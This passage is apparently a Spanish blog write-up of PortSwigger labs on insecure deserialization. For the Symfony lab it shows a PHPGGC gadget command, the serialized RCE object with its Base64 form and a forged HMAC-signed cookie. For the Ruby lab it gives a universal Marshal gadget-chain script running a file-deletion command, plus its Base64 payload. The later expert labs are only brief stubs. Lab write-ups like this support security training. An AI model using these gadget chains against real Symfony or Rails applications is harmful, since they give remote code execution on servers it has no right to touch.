En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt file from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de deserialización insegura para borrar el fichero morale.txt.
Comenzamos, por tanto, mapeando la superficie de exposición de la aplicación y observamos dos puntos importantes. Que se utiliza una cookie con datos serializados y que el framework utilizado para la construcción del sitio web es Symfony según el error obtenido al enviar una cookie arbitraria.


Vamos a empezar por el primer elemento, la cookie de sesión. Como vemos, tiene datos serializados, pero no es un objeto serializado como tal. Sin embargo, su estructura es muy simple:

Como vemos, la cookie consta de una parte que es el objeto serializado en sí mismo y otra parte que es una firma HMAC-SHA1 del objeto. Dado que la firma HMAC-SHA1 requiere una clave, procedemos a enumerarla en el fichero de debug PHP:

Para llevar a cabo el ataque de deserialización, por tanto, debemos obtener un gadget basado en Symfony 4.3.6 en primer lugar. Usamos para ello la herramienta PHPGGC:
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w0

Objeto: O:47:"Symfony\Component\Cache\Adapter\TagAwareAdapter":2:{s:57:"Symfony\Component\Cache\Adapter\TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony\Component\Cache\CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony\Component\Cache\Adapter\TagAwareAdapterpool";O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":2:{s:54:"Symfony\Component\Cache\Adapter\ProxyAdapterpoolHash";i:1;s:58:"Symfony\Component\Cache\Adapter\ProxyAdaptersetInnerItem";s:4:"exec";}}
Base64: Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
Secret_key: 3wq0zykeq22ki4f72twq8q6jx5howmoh
Ahora que tenemos el objeto, debemos calcular el hash HMAC-SHA1 de su Base64:

Y, con todo lo anterior, podemos construir la cookie que hará el exploit de la deserialización:
Hash: 977eeb43403f459c4e3c18e1415da9bd1e90f840
Cookie: {«token»:»Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==»,»sig_hmac_sha1″:»fbc6a6dfecc7eed200fe14493c8c3b5ea1c3b03a»}
Lanzamos la petición en Repeater con dicha cookie y vemos que… De nuevo, magia, el laboratorio queda resuelto a pesar del error 500 esperable:


Lab7 (Practicioner) – Exploiting Ruby deserialization using a documented gadget chain
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de deserialización insegura para borrar el fichero morale.txt.
Comenzamos, de nuevo, mapeando la superficie de exposición de la aplicación. Como vemos, la cookie de sesión está serializada y sabemos que se usa Ruby on Rails:


En este caso, no disponemos de un ysoserial o un PHPGGC. Sin embargo, en este blog puedes encontrar una prueba de concepto universal para deserialización en Ruby: https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html. Como vemos, aportan el siguiente script, que modificamos para ejecutar el comando deseado («rm /home/carlos/morale.txt») y obtener la salida en Base64.
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)
#puts payload.inspect
#puts Marshal.load(payload)
Guardamos el script, ejecutamos y obtenemos el objeto serializado a enviar al servidor en formato deseado. Para ejecutarlo, usaremos un compilador online para Ruby 2.7, que es donde estaba escrito el exploit (https://playground.masteringbackend.com/ruby):

Finalmente, usamos el valor obtenido en la cookie para lanzar el exploit y el borrado de fichero:
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==


Lab8 (Expert) – Developing a custom gadget chain for Java deserialization
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, gain access to the source code and use it to construct a gadget chain to obtain the administrator’s password. Then, log in as the administrator and delete carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad de deserialización insegura para borrar el usuario «carlos».
Este laboratorio es muy avanzado y te recomendamos revisar la guía de PortSwigger al respecto, ya que incluye numerosos pasos.
Lab9 (Expert) – Developing a custom gadget chain for PHP deserialization
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, delete the morale.txt file from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de deserialización insegura para borrar el fichero «morale.txt»
Este laboratorio es muy avanzado y te recomendamos revisar la guía de PortSwigger al respecto, ya que incluye numerosos pasos.
Lab10 (Expert) – Using PHAR deserialization to deploy a custom gadget chain
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, delete the morale.txt file from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de deserialización insegura para borrar el fichero «morale.txt»
Este laboratorio es muy avanzado y te recomendamos revisar la guía de PortSwigger al respecto, ya que incluye numerosos pasos.
~km0xu95
Comments are closed.